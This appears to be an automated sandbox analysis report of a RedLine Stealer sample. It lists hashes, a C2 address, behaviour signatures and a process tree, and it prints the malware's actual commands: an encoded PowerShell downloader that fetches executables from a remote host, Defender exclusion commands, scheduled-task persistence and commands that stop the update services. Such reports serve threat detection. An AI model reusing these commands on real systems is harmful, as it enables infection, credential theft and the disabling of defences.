Analysis
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max time kernel
151s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
06/01/2023, 13:12
Static task
static1
Behavioral task
behavioral1
Sample
4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
Resource
win10v2004-20220812-en
General
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Target
4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
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Size
196KB
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MD5
d9123023e8308e110c5d1dc10b294a82
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SHA1
4e6ed24872903d3ce33322d873fe5c366d3969c1
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SHA256
d9019aa8a43c692e6aea363a4854981ce8f5181fe33e7cfa5acd7deb72ba7b25
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SHA512
d5d6d705e8a8bc1bfc0d3183e2e0e4bad0c4fe26eb6e4924b33373459e2f1f2630d7d15f3143748ff678aef427a5729b8b39217b79fd67dd38fe1c52af5c35c5
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SSDEEP
6144:oIXeZ//p6oOD3Hvt1F3QAOijgGSLa5/Nc:tOF/oFwMXka5O
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/620-92-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/620-97-0x000000000041ADAE-mapping.dmp family_redline behavioral1/memory/620-98-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/620-101-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 848 created 1264 848 SmartDefRun.exe 16 PID 848 created 1264 848 SmartDefRun.exe 16 PID 848 created 1264 848 SmartDefRun.exe 16 PID 848 created 1264 848 SmartDefRun.exe 16 PID 1544 created 416 1544 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 1184 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 5 IoCs
pid Process 1056 C4Loader.exe 1804 new2.exe 1560 SysApp.exe 848 SmartDefRun.exe 1892 fodhelper.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 10 IoCs
pid Process 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1752 WerFault.exe 1752 WerFault.exe 1752 WerFault.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1732 set thread context of 2020 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1804 set thread context of 620 1804 new2.exe 37 PID 848 set thread context of 528 848 SmartDefRun.exe 57 PID 1544 set thread context of 844 1544 powershell.EXE 63 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1536 sc.exe 1636 sc.exe 1184 sc.exe 1736 sc.exe 684 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1356 1732 WerFault.exe 27 1752 1804 WerFault.exe 34 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1364 schtasks.exe 1712 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e034af15d921d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 1560 SysApp.exe 1560 SysApp.exe 1560 SysApp.exe 1560 SysApp.exe 1560 SysApp.exe 848 SmartDefRun.exe 848 SmartDefRun.exe 296 powershell.exe 620 vbc.exe 848 SmartDefRun.exe 848 SmartDefRun.exe 848 SmartDefRun.exe 848 SmartDefRun.exe 1624 powershell.exe 848 SmartDefRun.exe 848 SmartDefRun.exe 684 powershell.EXE 1544 powershell.EXE 1544 powershell.EXE 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe 844 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1184 powershell.exe Token: SeDebugPrivilege 296 powershell.exe Token: SeDebugPrivilege 620 vbc.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 684 powershell.EXE Token: SeDebugPrivilege 1544 powershell.EXE Token: SeDebugPrivilege 1544 powershell.EXE Token: SeDebugPrivilege 844 dllhost.exe Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeShutdownPrivilege 1264 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1732 wrote to memory of 2020 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1732 wrote to memory of 2020 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1732 wrote to memory of 2020 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1732 wrote to memory of 2020 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1732 wrote to memory of 2020 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1732 wrote to memory of 2020 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1732 wrote to memory of 1356 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1732 wrote to memory of 1356 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1732 wrote to memory of 1356 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1732 wrote to memory of 1356 1732 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 2020 wrote to memory of 1184 2020 vbc.exe 31 PID 2020 wrote to memory of 1184 2020 vbc.exe 31 PID 2020 wrote to memory of 1184 2020 vbc.exe 31 PID 2020 wrote to memory of 1184 2020 vbc.exe 31 PID 1184 wrote to memory of 1056 1184 powershell.exe 33 PID 1184 wrote to memory of 1056 1184 powershell.exe 33 PID 1184 wrote to memory of 1056 1184 powershell.exe 33 PID 1184 wrote to memory of 1056 1184 powershell.exe 33 PID 1184 wrote to memory of 1804 1184 powershell.exe 34 PID 1184 wrote to memory of 1804 1184 powershell.exe 34 PID 1184 wrote to memory of 1804 1184 powershell.exe 34 PID 1184 wrote to memory of 1804 1184 powershell.exe 34 PID 1184 wrote to memory of 1560 1184 powershell.exe 35 PID 1184 wrote to memory of 1560 1184 powershell.exe 35 PID 1184 wrote to memory of 1560 1184 powershell.exe 35 PID 1184 wrote to memory of 1560 1184 powershell.exe 35 PID 1184 wrote to memory of 848 1184 powershell.exe 36 PID 1184 wrote to memory of 848 1184 powershell.exe 36 PID 1184 wrote to memory of 848 1184 powershell.exe 36 PID 1184 wrote to memory of 848 1184 powershell.exe 36 PID 1804 wrote to memory of 620 1804 new2.exe 37 PID 1804 wrote to memory of 620 1804 new2.exe 37 PID 1804 wrote to memory of 620 1804 new2.exe 37 PID 1804 wrote to memory of 620 1804 new2.exe 37 PID 1804 wrote to memory of 620 1804 new2.exe 37 PID 1804 wrote to memory of 620 1804 new2.exe 37 PID 1804 wrote to memory of 1752 1804 new2.exe 38 PID 1804 wrote to memory of 1752 1804 new2.exe 38 PID 1804 wrote to memory of 1752 1804 new2.exe 38 PID 1804 wrote to memory of 1752 1804 new2.exe 38 PID 1816 wrote to memory of 684 1816 cmd.exe 46 PID 1816 wrote to memory of 684 1816 cmd.exe 46 PID 1816 wrote to memory of 684 1816 cmd.exe 46 PID 1816 wrote to memory of 1536 1816 cmd.exe 47 PID 1816 wrote to memory of 1536 1816 cmd.exe 47 PID 1816 wrote to memory of 1536 1816 cmd.exe 47 PID 1816 wrote to memory of 1636 1816 cmd.exe 48 PID 1816 wrote to memory of 1636 1816 cmd.exe 48 PID 1816 wrote to memory of 1636 1816 cmd.exe 48 PID 1816 wrote to memory of 1184 1816 cmd.exe 49 PID 1816 wrote to memory of 1184 1816 cmd.exe 49 PID 1816 wrote to memory of 1184 1816 cmd.exe 49 PID 1816 wrote to memory of 1736 1816 cmd.exe 50 PID 1816 wrote to memory of 1736 1816 cmd.exe 50 PID 1816 wrote to memory of 1736 1816 cmd.exe 50 PID 1816 wrote to memory of 1632 1816 cmd.exe 51 PID 1816 wrote to memory of 1632 1816 cmd.exe 51 PID 1816 wrote to memory of 1632 1816 cmd.exe 51 PID 1816 wrote to memory of 1720 1816 cmd.exe 52 PID 1816 wrote to memory of 1720 1816 cmd.exe 52 PID 1816 wrote to memory of 1720 1816 cmd.exe 52 PID 1816 wrote to memory of 1360 1816 cmd.exe 53 PID 1816 wrote to memory of 1360 1816 cmd.exe 53 PID 1816 wrote to memory of 1360 1816 cmd.exe 53
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:472
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:788
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:744
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1092
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1120
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:856 -
C:\Windows\system32\taskeng.exetaskeng.exe {E3482134-F797-4B70-8A32-A762261E8545} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1108
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue('di'+[Char](97)+'l'+'e'+''+[Char](114)+''+'s'+''+'t'+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:684
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+''+'e'+''+'r'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1544
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C:\Windows\system32\taskeng.exetaskeng.exe {EE919528-F7C2-4B06-B262-EE14E242D208} S-1-5-21-1214520366-621468234-4062160515-1000:VDWSWJJD\Admin:Interactive:[1]3⤵PID:1540
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:1892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:832
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:580
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:416
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0db50f15-27cd-4df4-aa93-df233da64da4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:844
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:1932
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1264 -
C:\Users\Admin\AppData\Local\Temp\4e6ed24872903d3ce33322d873fe5c366d3969c1.exe"C:\Users\Admin\AppData\Local\Temp\4e6ed24872903d3ce33322d873fe5c366d3969c1.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1056
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:620
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1166⤵
- Loads dropped DLL
- Program crash
PID:1752
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1560 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1364
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:848
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1732 -s 483⤵
- Program crash
PID:1356
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:296
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1712
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:684
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1536
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1636
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1184
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1736
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1632
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1720
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1360
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1352
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1904
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:528
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:480
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
